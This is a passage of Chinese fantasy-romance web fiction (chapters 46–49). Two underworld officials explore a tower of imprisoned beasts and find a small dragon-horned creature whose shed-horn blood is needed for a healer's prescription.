“本名?倒是听过,云师兄原本的名字里也带个云字,是成为地藏的弟子后才改的。”云舒托着下巴想了想,又朝地藏看了一眼,“但地藏没说过,云师兄自己也没提起过。”
“知道了,我随口问问。”
“无常大人,我们什么时候能出去啊?”一书生模样的男子靠在牢房的栏杆上问着,他看向走过来的谢必安,表情甚至称得上诚恳,“我们已经在这里一天一夜了。”
谢必安上下扫视了他一眼,对他印象很深:四十多岁,戴着眼镜,不论是从外形还是言谈举止都让人觉得是很懂礼数、冷静自持的男人。
“着急了?”
男人抬手推了推眼镜,认真地说:“我妻子还在外面呢,我担心她。”
谢必安冷哼一声,像看害虫似的看了他一眼。“你妻子很好,不用担心她,管好你自己便是。”
“我怎么能不担心她,我们认识后她就对我一见钟情,婚后更是几乎和我形影不离,我们感情很深!”男人眉毛下压,眼睛直直地盯着他,攥着栏杆的指节泛出青白,“你对我妻子做了什么?你是不是让她走了?”
谢必安不再理会他,往牢房外走去。
门口站在角落里的女人脸色苍白,朝谢必安笑了笑:“您早就知道他是什么样的人了吧。”
“我不明白,你已经被他害成这样,为什么……”
女人攥着衣角和他一同往外走,她沉默了好一阵才开口:“我想看他过得怎么样。如果他到了地府还能过得如意,我便不投胎。”
她神色平静地回头看了一眼牢房,却在走过长廊时,被墙上的幽光照出了眼底因仇恨掀起来的惊涛骇浪。
“我要让他生生世世都不得善终。”
“就是这样。后来我重新看了那男人的功德簿。”谢必安啧一声,摇了摇头,“女人当真是心善。”
岑黎转身靠在奈何桥边,河水依旧干净得不像话,怨灵也无法在其中生存。“还是不行,渡口不能开,那些鬼只能再关一阵了。”
“但
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是这么下去也不是个办法啊,再多来点鬼我那牢房都住不下了。”谢必安嚷嚷着,“就不能让地狱里的噬魂兽把那些有执念的鬼都吞掉吗?”
岑黎撇他一眼:“噬魂兽出来了,吞掉那些魂魄,然后呢?怎么回去?你不知道它们为什么会在地狱老老实实地待着吗?”
地狱十八层,每层地狱都有一只守门凶兽,噬魂兽便是其中之一,专吞噬魂魄,不分好坏。
谢必安撇了撇嘴。
“老沈呢?你们不是一起去的莲花台吗?”
“他说还有事要请教地藏,就让我先回来带麦芽出来遛遛。”岑黎抖了抖手里的绳,说真的,这绳子对于麦芽来说完全没有必要。
岑黎看向旁边草堆里露出来的一撮白毛,仔细看那上头还有一点黄色的花纹。
草丛里正追着蚂蚱的麦芽忽然抬起头。
站在一边的岑黎只能堪堪看见它毛茸茸的耳朵尖,她刚想笑,便听见远处传来一声咆哮,将麦芽吓得躲在了草丛里。
“镇妖塔?”谢必安面色严肃地走过来,刚想再说什么,一声怒吼又紧接着砸了过来,比刚才更沉、更急,连周遭的草木都好像被震得晃了晃。
“麦芽?麦芽出来。”岑黎蹲下身将麦芽从草丛里抱了出来,往谢必安怀里一塞,又把手上绕着的绳子一股脑递给他,“孟婆在家,你帮我把麦芽送回去。我去镇妖塔看看。”
谢必安瞪大眼睛,错愕地看她,又看向怀里瑟瑟发抖的麦芽:“什么?!我俩是不是反了?应该我去看看吧,万一什么凶兽跑出来了你怎么应付得了?”
他眼前一晃,随着尖锐啸声的响起,一柄乌黑的长镰带着震颤出现在岑黎手中,枪身上的银色符文闪了闪,如游龙一般缠绕在枪柄上。
“你先帮我把麦芽送回去,一会儿再回来。”岑黎冲他一抬下巴。
谢必安点点头,总觉着她的眼神都变得犀利了些。
镇妖塔外,原本嵌在石壁上的符文突然亮起,一道道金色光纹顺着塔身蔓延,很快织成一张完整的阵网。金光越来越盛,刺得人几乎睁不开眼。
大风早已从塔内飞了出来,正孤零零地立在塔前的空地上左看右看,见岑黎来了,它欢快地长吟一声,扇着翅膀卷起一阵风飞到岑黎面前。
岑黎抬手摸了摸它温热的羽翼,有些紧张地问:“大风,是哪一层出了事?”
大风歪了歪头,双翼猛地一振,直直朝着镇妖塔的方向飞去,翅膀划破空气的“呼哧”声还没消散,便瞧不见它的身影。
岑黎下意识抬手挡在面前,几片风带起的草叶擦过她的指尖。等她放下手时,才发现那巨鸟已稳稳落在镇妖塔的塔顶北侧,羽翼收拢时,还带起一阵盘旋的风,吹得塔檐上的铜铃轻轻晃动。
她望着高耸入云的塔身,喉间不自觉发紧。镇妖塔内关着数不清的凶兽,常年靠塔身周围符文布下的阵将其镇压,越往上符文越多,也就是说越往上越凶险。
她仰头朝着大风挥手叫它下来,忽然,符文阵再次骤然亮起。
46. 冥府失序,幽魂难渡 四
随着金光的亮起,大风长吟一声展开双翼,只见它在塔顶盘旋了一圈后便调转了方向,往镇妖塔后方落去。
“大风!”岑黎担忧地喊着却没听见回音。她有些焦急地看了看塔身周围的符文阵,想来应该也不会那么容易被破坏……她一咬牙,绕到镇妖塔后方去找大风。
毕竟大风现在只是魂体,与镇妖塔内的那些凶兽相比更脆弱些,她也不确定符文阵对大风会不会产生影响,如果大风被打得魂飞魄散,那沈自珩的银枪会不会削弱……
她一边喊着大风,一边惊讶地看着满地倒伏的绿色,大风正站在中间专心地看着什么。
岑黎站在镇妖塔后的那片“荒草谷”边,目光落在眼前这片翠绿上。这里分明是去年小猪踩过的那片土地,当时只冒出绿芽,谁料熬过一个冬天,竟长得这般茁壮,叶片舒展着,连根茎都粗壮了不少。
她蹲下身瞧了瞧脚边的作物,目光扫过四周时,眉头却微微蹙起:虽整体长得茂盛,可东侧一大片作物都歪倒在地上,叶片上还沾着潮湿的泥土,像是被什么东西压过,连根部都有些松动。
大风扑棱着翅膀凑过来,长长的喙轻轻啄了啄她的袖口,又转向旁边的土地,来回指了指。岑黎朝着它指的方向走过去。
“这里?这有什么东西吗?”伸手拨开周围挡着的杂草与作物叶子,下面竟是一枚清晰的兽类脚印,那脚印深深陷进泥土里,足有一寸深。
大风邀功似的伸长脖子将脑袋凑到她面前,她抬手用手指轻轻蹭了蹭它的头顶,舒了口气:“你没事就好。这里先不管,我们去镇妖塔看看。”
她走到镇妖塔下迈上了门口的石阶。门口左右两侧的墙上都镶有符文,此刻已经比方才暗了些许,但仍泛着微弱的金光,她凑上前看了看,只是灵力不高的符文,用来锁住镇妖塔的入口。
身后的大风亦步亦趋地跟着,还时不时将脑袋伸到她手边,又或是用喙叼住她衣角,试图阻止她进去。
岑黎再一次将自己的衣袖从大风嘴中扯出来,有些无奈地伸手摸了摸它的翅膀,几乎是哄着说:“大风,你乖一点,我总得进去看看怎么回事吧。”
大风张开嘴凑近她的袖子。
“那这样!”她飞快伸手握住它长长的尖嘴,“我不留你在外面了,你跟我一起进去,总可以了吧?有危险你保护我行不行?”
大风歪了歪脑袋,往前走了一步。
眼前的木门便是镇妖塔唯一的入口,原本应是两扇沉重厚实的木门,但经过多年风霜雨雪的洗礼,看上去除了陈旧,还有些脆弱。
岑黎伸手轻轻一推,木门吱呀一声便被推开了,厚厚的灰上还留着她的指印。她有些嫌弃地捻了捻手指,念叨着:“怎么没人打扫镇妖塔啊……这也太脏了。”
她迈步进去,瞧着这个关了诸多凶兽的地方。
镇妖塔内并没有预想中阴森的戾气,也没有凶兽嘶吼的嘈杂,反倒透着种莫名的平静,看上去甚至与普通的塔没有太大的区别。
塔的正中央是一方圆形的浅池,四周摆着些奇形怪状的石头;再往外便是一道围绕着池子和石头建成的长廊,长廊的横梁上还挂着些画卷,只是有些画卷已经褪了色,看不清原本画着什么。
岑黎踏上长廊,刚踩上木板便传来“吱呀”的一声响,那声音带着木头受潮后的涩意,听着有些牙酸。她下意识放轻脚步,目光掠过池子与怪石,落在后方蜿蜒向上的楼梯上。
“走吧,我们上去看看。”她压低声音,带着大风往楼梯走去。楼梯很长,应当是能够直通至最顶层,她站在台阶上仰头看了看,只能隐约看见画着什么的穹顶。
走上第二层率先印入眼帘的便是一道半人高的栏杆,栏杆用深褐色的木材制成,上面凌乱地缠着几道用细线串起的符咒,只是大概年头太久,符咒上蒙着一层薄薄的灰,栏杆上也有些许裂纹。
岑黎走到栏杆边往下看了看,能清楚地瞧见下面的池子和石头——原来看似是作景观的池子,底部竟也有符印。
她收回视线,环顾着这一层。
这一层的长廊从方位上看与一层长廊一致,但长廊外围整齐围绕着一圈小门,那门的高度仅到她肩膀,门上有一个巴掌大的方正的小孔,从小孔便能瞧见内里关着的东西。
但更令人惊奇的是每道门上都挂着一把十分复杂的锁,巴掌大的锁身上刻着繁复的图案,还坠着几道锁链,末端挂着一块块泛着青绿色的刻着符文的铜牌。
“大风,你住在哪一间?”岑黎问着,大风往旁边一道门走去,她跟在后面走到门前,指尖刚触碰到门上的锁,就见一道金光从锁身蔓延开来,很快便笼罩住一整扇门,同时有一阵刺痛从她的指尖传来,惊得她连忙缩回手。
一旁的大风看着她的指尖,疑惑地歪了歪头。忽然,她觉着脚下的地面有些轻微的颤动,随之而来的是一声似重物坠地的闷响,那声音极为恐怖,似乎将空气都震得抖动,大风也将脑袋藏进了翅膀里。
声音逐渐消失,岑黎一小步一小步地从门口向栏杆旁挪动着,刚刚塔内明明发出那么大的声响,周围关着的凶兽们却没发出一点声音,从大风的动作来看,更像是因为恐惧所以躲藏起来。
究竟是什么东西?
她探头出去瞧着下面,依然空空荡荡。她转过身,将腰抵上栏杆,腰腹用力向后仰去,半个身子都悬在空中。
她的目光一层一层地扫视着上方,都与这层无异,只有倒数第二层的栏杆边挂着一条满是绒毛的东西,泛着青黑色的光泽,仅出现了一瞬间便飞快缩了回去。
岑黎觉着浑身汗毛都竖了起来,正准备下去时她又瞧了瞧那个地方,倒抽了一口凉气——栏杆上有无数道刻痕,像用利器在上头狠狠划过一般,看着触目惊心。
她缓了缓,转身和大风往楼下走。
脚下的木板每踩一步便吱呀一声,她忽然觉得有些害怕。岑黎握紧手中的长镰,边往外走边想着刚才看到的:那个满是绒毛的东西,栏杆外侧的刻痕,和飞快缩回去的动作……
“速度很快,长满绒毛的东西看着像是硬物,
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刻痕可能就是它缩回去的时候造成的。”岑黎持着长镰做了个回钩的动作,“就像这样,尖利的东西留下的。”
沈自珩盯着她,将她上下左右瞧了一圈,皱着眉问:“你没受伤吧?”
“咚”的一声,手中的长镰落了地,岑黎摇摇头:“没有,越往上越凶险嘛,我怕出什么事,就只敢上到第二层。”
沈自珩依然紧盯着她,语气严肃:“阎王之下的鬼差,无人敢只身进镇妖塔,你算是头一个了。”
岑黎将长镰扎进地里,一手叉着腰,歪着头有些挑衅地看他:“我是头一个怎么了?又没规定不可以。”
“……可以,但你能不能叫上我,叫谢必安也行啊。”沈自珩放缓了语气,将她叉在腰上那只手拉过来握住,“我只晚到了一会儿,就发现奈何桥上一个人也没有了,路上遇到谢必安慌慌张张的,我还以为你出事了。”
她一脸莫名其妙:“你都知道我进镇妖塔了,进来找我不就好了?”她瞧着他身旁的银枪,“你进来的话我们没准可以再往上走一层。”
沈自珩只看着她不说话,眼神里有些复杂。
岑黎晃了晃他的手:“哎呀,我说着玩的,镇妖塔里看着平静,其实也挺吓人的,还是不要进的……嗯?”
“要进。”沈自珩摇头打断她,“但刚才我不是不进,是进不去。”
他拉着岑黎走到入口前,松开她的手后他迈步要跨,门口猛地亮起金光形成了屏障,将他挡了回去。他指了指门口的两道符:“这两道符是阻止外人进入的,我进不去。”
岑黎凑上去仔细瞧了瞧,这符和自己进去前看到的符一样啊,没有差别啊,怎么沈自珩进不了?她挤开沈自珩抬腿迈进去:“那我应该也进不去才对……”
啊。
她看着脚下熟悉的破烂木头。
进来了。
身旁的大风歪着头看着她,又走了两步看了看站在外面的沈自珩。
她拉着沈自珩的手:“试试。”两人同时抬腿跨过去,过的一瞬间岑黎甚至觉得有什么东西将她往后猛地拽了一下。
沈自珩又被挡在了外面。
岑黎错愕地看着他,愣了一会儿后抬腿走了出去:“为什么?为什么我能进去你却不能?我带着你也进不去?”
沈自珩冲她摊开手,无奈地点点头。
一旁刚刚赶到的鬼差喘着粗气,抬手喊她:“岑大人,别……别再试了……哎呦。”
二人看向他,历温阎王殿里的鬼差。
那鬼差上气不接下气地伸手指了指门口的符,又指了指她,最后指向自己:“您进去一次,我便收到一次,您这来来回回的,进镇妖塔要做什么啊?”
岑黎看向沈自珩,有些心虚:“镇妖塔里有异动啊,我去瞧瞧。”
“有异动是正常的,说明那些凶兽还活着呢。”鬼差说。
她还想说什么,被沈自珩忽然握上的手打断了。
“我们要进去。”他一手背在身后,神色平淡地瞧着鬼差,“找一味药。”
47. 镇妖塔 一
鬼差一愣,脱口而出问道:“找药?什么药会在镇妖塔里?”
“你给我们解了禁咒便是。”沈自珩看着他,朝镇妖塔的方向一指,“若是不放心我们,不如同我们一起进去?”
鬼差瞧了一眼恶名远扬的镇妖塔,连连摆手,快步走到镇妖塔入口:“不用不用,我这就给你们解了禁咒。”
岑黎见鬼差走远了些,往沈自珩耳边凑了凑,轻声问:“你是不是骗他呢?”
沈自珩微微偏过头瞧她,满脸认真:“没骗他,是真的。”
她撇了一眼正抬手在空中画符解除禁咒的鬼差,又转过头看向沈自珩:“镇妖塔里能有什么药?凶兽的胆汁之类的?治什么,谁要这个啊?”
“我们进去了我再同你讲。”
鬼差朝沈自珩挥挥手,一指旁边正大开着的门。
沈自珩走进镇妖塔,边往中央的圆池边走着,边仰头瞧着上方,倒数第二层已经找不到刚才岑黎说的东西了,距离太远,也看不清栏杆上的刻痕。
一同进来的大风原本跟在他们后面,但忽然加快了脚步嗒嗒地往圆形池子走去,岑黎的目光跟随着它,以为它发现了什么东西,下一秒就瞧见它张开了嘴。
她大惊,冲过去捏住它的尖嘴摇晃着:“这能喝吗!不知道放了多久的水了!”
大风从喉咙里挤出一声有些委屈的吟叫,试图把自己的嘴从岑黎手里挣脱出来,但挣扎了许久都无果,它便不动了。
岑黎见它不挣扎了,慢慢松开手,它依旧乖乖地在原地站着,那模样竟是犯了错挨罚的麦芽有点像。
她笑着摸了摸大风凑过来的脑袋,走向沈自珩:“现在可以说了吧,要找什么?”
“要找什么,您但说无妨。”沈自珩从地藏对面的座位上起身,坐到方才岑黎坐的位置上端起茶杯。
地藏将书给了岑黎后,又简单聊了两句便让她回去,还一同将云昭也支开,单单留下了他。沈自珩垂眸看着茶杯中漂浮着的一片茶叶,内心猜测着。
地藏脸上总是有着若有似无的笑意,眉宇间却又有着威严之姿,让人觉得无法太过亲近,也捉摸不透。
“我方才听见了你同云昭说的话。”地藏缓缓开口,“你可知云的近况?”
闻言,沈自珩放下茶杯答道:“不知。”
地藏浅笑:“我知你们去了记忆库,除了找到白无常前世养的猫,你们可还寻见什么?”
沈自珩忽地皱起眉。地藏这么问,便已经摆明了是想从他这儿得到一个答案,可究竟是什么,他又该不该如实说?
他飞快地想着在记忆库中他们经历的事和见到的类、树上挂着的记忆瓶……
记忆瓶!
地藏瞧他神情像是明白了,于是点点头道:“是你想的那样不错,那里有云的记忆瓶。”
沈自珩记得当时挂在离门口最近的树梢上,那个摇摇欲坠的记忆瓶,上面用灵力刻着:云峤。
“云峤。”沈自珩有些犹豫地说出这个名字,“我曾在地府鬼差们的功德簿上瞧见过这个名字,但……始终没见过此人,我以为是记错了。”
地藏摇摇头:“没记错,这就是云原本的名字,云峤。”
沈自珩依旧不解:“可云峤不是您的大弟子吗?怎会是地府中的鬼差?”
“他犯了错,受罚来此,不过终有一天会同我一道回去的,到时便真的要将他的名字从一众鬼差中划去了。”地藏朝着一旁的书架轻挥一下,一张纸便从书架上飘落下来,落在他面前的茶几上,“但在回去之前,有一事恐怕需要沈大人帮忙。”
「龙角兽血灵起草」
“云峤最近身体不适,我为他多次调理却并没有很大的起色,想来是需要换别的方子,只是那方子所需的药材不太容易得到。”地藏伸手点在纸上让他瞧。
沈自珩看着纸上他从未听过的名字:“龙角兽……是什么兽,在何处可以寻得?还有灵起草,长什么样子?”
“头上顶着龙角?”岑黎皱着眉跟沈自珩往二楼走,小声地问着,“体型呢,是大是小?”
沈自珩同样小声地回答她:“不知道,地藏没说。”
两人没在二层过多停留,径直朝三层走去。原本跟在后面左看右看的大风见他们往上走去,扑扇着翅膀跟了上来,紧紧地跟在岑黎后面。
“所以龙角兽在几层也没说?”岑黎刚问出口就想起来身后有个常住在此地的“凶兽”。她一把搂过大风,用手一下一下捋着它的大翅膀,温柔地问着,“大风,你知道龙角兽吗?头上……应该是有两个大角的,壮壮的,你知道它在几层吗?”
大风舒服地眯起眼睛享受着被人梳理羽毛,并没有回答她。岑黎见状停了手上的动作,静静等着。
果然,没一会儿大风就低下头用小脑袋拱着她的手。
“我问你呐,龙角兽你知不知道?头上有两只角的?”她抬手在自己脑袋上比划着。
大风拍拍翅膀,踩上了通往四层的台阶,但也只走了一步就停了下来,等着岑黎走到它前面。
沈自珩一直没怎么开口,直到看见大风像家养宠物一般对着岑黎撒娇时他才忍不住抱怨道:“怎么对着小黎就这么乖,当年你想杀我的时候可不是这副嘴脸啊。”
岑黎走在最前面,听到这话不可思议地回头看了一眼大风,又看向他,上扬的语气里愣是被沈自珩听出了一些嘲笑的味道:“哟?你们当年还有这种过节呢?”
沈自珩跟在后面哼了一声。
“大风这么可爱,当年究竟是怎么和你打起来的,又是怎么被你拆掉一根腿骨的。”岑黎回过头去继续往上走着,“有空能不能跟我说说,我是真的想象不到它有多凶悍。”
镇妖塔共有九层,每层由下至上关押着凶兽,大风这种双翅扇动便能摧毁房屋,将大树连根拔起的兽尚且关在第二层……岑黎只大致估量了一下,便惊得倒吸一口凉气。
“沈自珩。”她踏上第四层的最后一级台阶,轻声喊着。
沈自珩在她身后应了一声,挤开大风走到她旁边,“怎么了?”
岑黎看着和三层同样布局的关押房,内心在止不住地打鼓,她
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总感觉到了第四层便与前三层的氛围不同了。
“你觉不觉得这一层有点阴凉?”
沈自珩嗯了一声,在宽大的袖子下用自己的手将她握成拳的手包裹住:“这一层关有有喜阴的凶兽,在关进镇妖塔前常年待在阴寒之地,大概是会有些冷的。”
岑黎点点头,又长呼一口气,神情坚毅地看向关押房:“走吧,去找龙角兽,我们一定可以的!”
“龙角兽会是什么样子呢?出来得太着急了,地藏给我的那本书我也没来得及翻一翻,没准那书上有。”岑黎凑近门上的小孔,仔细看着里头关着的凶兽。
带翅膀的,没角,有角……这是角吗?她看着关押房里和木桌一般大的凶兽头上的一支角,有些纠结。
她说完那句一定可以的,就带着沈自珩走到小门前,就在沈自珩要上前查看时却被岑黎一把拦住,她一边说着我有点好奇这些凶兽都长什么样子,一边把眼睛凑上那个小孔。
看前几扇门时她还会被里面醒着的凶兽吓得脸色发白,到后面完全放松了下来,甚至拿出了对付大风的那套对付它们——乖啊,听话,不能咬人……
不过关在镇妖塔中的凶兽大多都和大风一样是有灵智的,没有感受到岑黎对它们的威胁,也就不会主动发起攻击。
“这一层没有龙角兽。”岑黎将垂到胸前的头发拨到身后,两手叉着腰环视一圈,“连有角的都很少。”
沈自珩抬头往上瞧着,上去便是第五层了。他将岑黎拉到自己身后:“我走在前面吧。”
岑黎点点头,忽然又急又用力地拽了两下他的袖子让他下来。
他收回已经踏上台阶的腿,和她一起退到旁边的角落里,大风也安静地站在了旁边。
“我看见它了,那个全是绒毛的。”她凑到他耳边说完,就悄悄探出头去,见那个怪东西还没发现,又蹑手蹑脚地往前挪了一步。
沈自珩小心地跟在后面一起往上看,这个角度和那东西不在同一方向,看得十分清楚——泛着青黑色的,满是绒毛的东西挂在栏杆外,一端长着尖钩,牢牢地钩在了栏杆上,一动不动。
岑黎回头看他,将一根手指竖在唇边示意他安静,又将自己的腰带解下来,一端牢牢系在自己腰上,另一端放在他手里。
沈自珩紧皱着眉盯着她,他自然是知道她想靠得更近一些一探究竟,毕竟其它凶兽都好好关着,只有这个东西在外面,其危险程度不言而喻。
他正想阻止她,脑海中忽然响起她的声音,是她传讯来了:“我仔细瞧了瞧,觉得有点像蜘蛛,而且只有那一处的栏杆上有刻痕,往好处想,也许它并不能动,依然被好好地关在里面,只有一条腿能伸出来。”
她故作轻松地反过来安慰他,又紧了紧身上的腰带对他点头:“我会扒在栏杆上尽量靠近些看,但如果它要攻击我,我可能无法同时注意脚下的平衡和避开它的攻击,你就看准时机拽住我的腰带将我拉回来。”
“虽然都是鬼,但我还是想说那句。”岑黎转过头冲他笑了一下,“我的命在你手上了。”
48. 镇妖塔 二
(这一章可以叫镇妖塔奇遇记)
岑黎慢慢挪到四层的栏杆边观察着怎么样能更靠近那东西一些还不被它发现,好在它始终挂在栏杆上,并没有别的动作。
她伸手握住身边的栏杆晃了晃,觉着还挺结实,便足下一点,轻巧地站到了只有半掌宽的栏杆上。
不得不说栏杆上的视野确实好了许多,她站稳后便朝斜上方看去,同时将自己看见的传讯给沈自珩。
“它长得好恶心,全是绒毛。”岑黎看着那个东西,觉得自己身上的汗毛都竖了起来,“那个东西一端有尖刺,整体是青黑色……我觉得就是蜘蛛,很像蜘蛛的脚,不过这蜘蛛体型应该很大。”
她掂起脚往栏杆内侧看去,并没有看到他们设想中的更恐怖的场景。
“还好还好,它没有逃出来,应该暂时是安全的。”说完她低头寻着落脚点想下去。
沈自珩不敢开口,同样传讯给她:“下来?”
岑黎点点头。
沈自珩冲她张开了双臂,原本握在手里的腰带不知什么时候被他缠在了自己的手腕上。
“跳。”
她轻轻一笑,跳了下去,像片花瓣似的飘进了他的臂弯中。
岑黎在沈自珩怀中偷偷做着深呼吸压下自己擂鼓似的心跳,觉得缓了些便往后退了些许:“谢谢……那个,我们还是继续往上走吧!”
说着她抬腿要走,沈自珩搂在她腰上的手猛地一紧,将她捞了回来。
他压低的嗓音中掺杂着些无可奈何,又带着点笑意传进她耳朵:“小黎,帮我把腰带解开再走吧?”
岑黎瞪大眼睛,耳尖的火热迅速蔓上了脸颊。她飞快将一端系在沈自珩手腕上的腰带解下来,捋平整重新系回腰间。
“走,上五层。”
五层的整体布局与四层又不大相同,岑黎刚走上五层就惊得哇了一声,大风更是死死躲在她身后,恨不得将自己塞进岑黎怀里。
岑黎看着大风拼命把自己的脑袋往她袖子里塞,有些哭笑不得:“看不见你就不害怕了?你不如化形成小鸟,有危险我就把你放进袖子里。”
沈自珩看了一眼嵌了满墙的符文,又看着无处可躲的大风:“它应该是被这些符文压制了,我来吧。”他抬手掐诀,将大风化成了手掌大小的小鸟。
岑黎将它捧在掌心里后,大风立刻便放松下来,在她手中张开翅膀抖了抖,又从她掌心跳到了指尖往外看着。
这一层的门看上去比下面几层的都要大一些,也不再是木门,而是铜铸成的,门上没有小孔,倒是有一个突出的铜首。岑黎走向左手边第一道门看了看那个铜首,将手放了上去。
一阵机关运转的声音响起,数秒后门上便开了一个足有半扇门大小的“小窗”,她正打算弯下腰瞧瞧,就觉着手里的大风躁动不安,她心里一惊,脚下已然向后退了几步,后腰直直地撞上了栏杆。
“砰”的一声,门边也发出一声巨响,岑黎捂着腰看去。
沈自珩站在门边,手上持着不知什么时候唤出来的银枪,看到里头关着的凶兽退了回去他才把手中的枪放下。
“小黎,你怎么样?”沈自珩一手托着她的腰,一手握她的手,“撞得严重吗?除了腰还有哪儿伤了吗?”
岑黎一手端着大风一手被他握住,只好摇摇头,曲起手指在他掌心挠了两下:“没事,撞得不严重,都不影响走路。”
被端在掌心的大风已经吓得缩成一团,动也不动。
他们走近门前,岑黎抬手敲了一下小窗,从敲击处立刻泛开一层金色光晕,随后覆盖住整扇门,看着和楼下门上的锁一样有一道禁咒。
她放下手松了口气:“还好还好……”说完她便弯腰朝里头看去。
这层每间“牢房”都比楼下的大上不少,大概也是因为大多数凶兽都体型庞大……她想了想,又看向手里像鹌鹑似的大风,也是,小鹌鹑能有什么破坏力。
眼前这道门里的凶兽便是个大家伙,体型和熊接近,一身棕色的毛,耳朵比熊耳更大,嘴也更大一些,露着两颗獠牙,双目赤红,看着就凶神恶煞。可能刚刚冲过来撞上禁咒之后对它产生了什么影响,这会儿它只是待在角落里盯着窗口。
“头上没有角,下一个。”岑黎将房里仔仔细细扫了一圈,确定没有其它凶兽后冲着一旁的沈自珩挥挥手,径自往旁边一道门走去。
沈自珩已经数不清自己面对着岑黎到底有多少次无奈地摇头了。但细想也不全是因为无奈,她总是自由自在的,胆大,也果断,而他虽觉着她的有些行为十分危险,却也不想阻挠她去做想做的事。
他提着银枪跟在旁边,在她按下铜首前先将银枪横在窗前。岑黎看着挠了挠鼻尖:“有禁咒在,应该没事吧?”
窗户缓缓打开,她凑上去看了一圈,最后在靠近门的角落里找到一朵蘑菇。
“这是什么东西啊?”她保持着弯腰的姿势,脸还贴在窗口,一手在旁边胡乱摸了摸,摸到了沈自珩的衣服后将他扯了过来,和她一起往里看着。
“你看看,那是不是个蘑菇?”她问。
沈自珩也纳闷:“是吧?”
“蘑菇也能被关进镇妖塔了?这小蘑菇看着没什么威胁啊,最多就是颜色奇怪了点,蓝色的蘑菇……啊嗷嗷!”还没等她说完,那顶着蓝色脑袋的蘑菇便朝他们的方向动了一动,凭空生出了一张满是尖牙的嘴,隐约还能听见令人毛骨悚然的磨牙声。
岑黎将空出来的手挡在大风面前,等她低头看去想要安慰它一下时,发现这小鹌鹑早就将自己的脑袋藏在了翅膀底下。
他们继续一扇扇门看着,岑黎总觉得这一层的凶兽长得都奇形怪状——腿短翅膀却很大的鸟,有两层壳和两排牙齿的龟,全身圆滚滚却一口吃掉同伴的鱼……
她扶着墙,突然有些想和大风换换。
“要不你到下面等我,我自己上去?”沈自珩担忧地扶着岑黎,她现在看上去唇色发白,眼神也有些涣散。
岑黎晃了晃脑袋,又伸出一根手指把手心里的大风挠起来:“不,我倒要看看上面还有什么恶心东西,大风你也起来,陪我们一起。”
大风抬起头,有些委屈地叫了一声,但也还是乖乖地看着周围,没有再将脑袋藏在翅膀下。
“第六层了,不会关一些我们用眼睛看不见的东西吧?”岑黎一边扶着扶手往上走一边说着,沈自珩在她身后用手掌轻轻顶着她的腰,还传了些灵力过去。
“我
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也不知道,这塔里的凶兽我只见过大风。”他问,“感觉好些了吗?”
“好多了,谢谢。”她踩上最后一层台阶,没作停留便往旁边的门走去,“这么一扇扇门找过去还挺费时间的,今天晚上可以多吃点了。”
沈自珩轻笑一声,随口问着:“你喜欢吃什么?”
岑黎熟门熟路地将手放上去,转头看他:“我不挑食,但最喜欢的……可能是用炭火烤的蘑菇吧,特别香!”
沈自珩怔住,微微瞪大了眼睛。
窗口开了,岑黎弯下腰往前凑,余光瞄着仍有些震惊的沈自珩:“我就说了烤蘑菇,这菜很奇怪吗?你要震惊这么久。”
沈自珩啊了一声收敛了表情:“没有,我只是惊讶你最喜欢的竟然是烤蘑菇。”
“很平平无奇对吧,但不知道为什么我对它印象很深。”岑黎从窗口往里看去。
房间和之前的大小应该差不多,但其中关着的凶兽体型很小,便衬得这间房大得离奇。
那凶兽背对着门缩在角落的地上,胸口的金色花纹随着呼吸微微起伏着,金色的耳朵尖时不时飞快地转动一下,除胸廓和耳朵尖是金色之外,尾巴根和尾巴尖也是金色的。
“好漂亮的小兽。”岑黎感慨着,它身上大半原本应该都是白色的毛,但不知关进来多久,沾满了血污和灰尘,只能在大片脏污中看见一小块一小块白色。
从门口看去,小兽把自己团成了一个圆,只能看见背和尾巴,头和四肢都被大大的尾巴挡住了。
岑黎小声试探着:“咳咳。”
沈自珩朝她看了一眼。
她有些尴尬地笑笑:“我也不知道怎么喊它啊……”她见那小东西动了动,又喊了一声,“你能转过来吗?”
小兽没动,手心里的大风却是扇了扇翅膀,清脆地叫了一声。
“诶又动了。”岑黎放轻声音,面对着这么漂亮的小兽她很难觉得它是凶悍的性格,温柔地开口道,“我不伤害你,你转过来让我看看好不好?”
这回连耳朵尖也不动了。就在岑黎想要放弃,转身要走时,里面传出了微弱的吟叫,有些像刚睡醒的麦芽撒娇的声音。岑黎急忙扑过去,将关上的窗口重新打开——
小兽正站在房间中央看着这里,原来它不止胸廓、耳朵和尾巴上有金色的毛,从下巴一直到胸口也是金色。它眨着黑色的眼睛,有些疑惑地歪着头。
头上的两只角随着它的动作偏到了窗外透进来的光中,身上金色的毛也闪闪发亮,像传说中龙鳞的颜色。
岑黎看着眼前比麦芽大不了多少的小东西,又看向它头上两只几乎和它身量一般大的角。她和沈自珩对视了一眼,又看向房间中央的小兽,不可思议地问:“龙角兽?”
小兽哼了一声。
“它是龙角兽?”岑黎觉得自己的眼睛瞪大了两圈,她恍然大悟地看向手里的大风,“难怪我问你知不知道龙角兽的时候你没反应。”
她惊呼:“我一直以为龙角兽会是体型很大的凶兽啊!”
沈自珩点点头,他也没想到龙角兽会是这么小的兽,那需要的龙角兽血……他摸上腰间挂着的瓶子,地藏嘱咐他要将瓶子装满,可若是装满了,这小兽还能不能活下来……
49. 镇妖塔 三
“地藏告诉你要如何取它的血了吗?”岑黎还趴在窗口看着它,她看了这么久,它除了卧着便是坐起来瞧一瞧四周,最多在原地转两圈便又趴下了,单从这些行为来看龙角兽的杀伤力还没有麦芽的杀伤力大。她觉得它不应该被关在镇妖塔五层,和这些凶兽关在一起。
沈自珩从腰间将那个瓶子取下来,点点头说:“地藏说它头上的角会自然脱落,脱落时会流血,我们只需要接那个血即可。”
岑黎哦一声:“但我看它很温顺,没有什么攻击力,为什么还将它关在这里?”
“它的血有剧毒,普通的容器装不了,需得用特质的。”沈自珩走到窗口前看着龙角兽在房里踱步,和方才相比已经明显有些焦躁不安。
他瞧着那只有些痛苦的小兽,轻声说了句,“应该快了。”
他将地藏给他的解除禁咒的符握在手心,符文带着一股绵长的灵力在他手心里流动着。龙角兽也感觉到了,更显得焦躁,甚至用自己的头往墙上撞,一次比一次剧烈,头撞上墙壁的闷响夹杂着它痛苦的呻吟,岑黎手心的大风也急躁起来。
“没事……没事。”岑黎两手拢起来将大风捂得严严实实,“我们什么时候能进去,它现在好痛苦。”
沈自珩一直盯着龙角兽的状态,据地藏说龙角兽稀少的原因之一便是头上的角脱落时过于痛苦,有些年幼及年长的龙角兽会因承受不住选择自行了断。
他握紧拳头,悬起的心在胸腔里摇晃:“……现在不行,太危险了。”
他说:“我们帮不了它。”
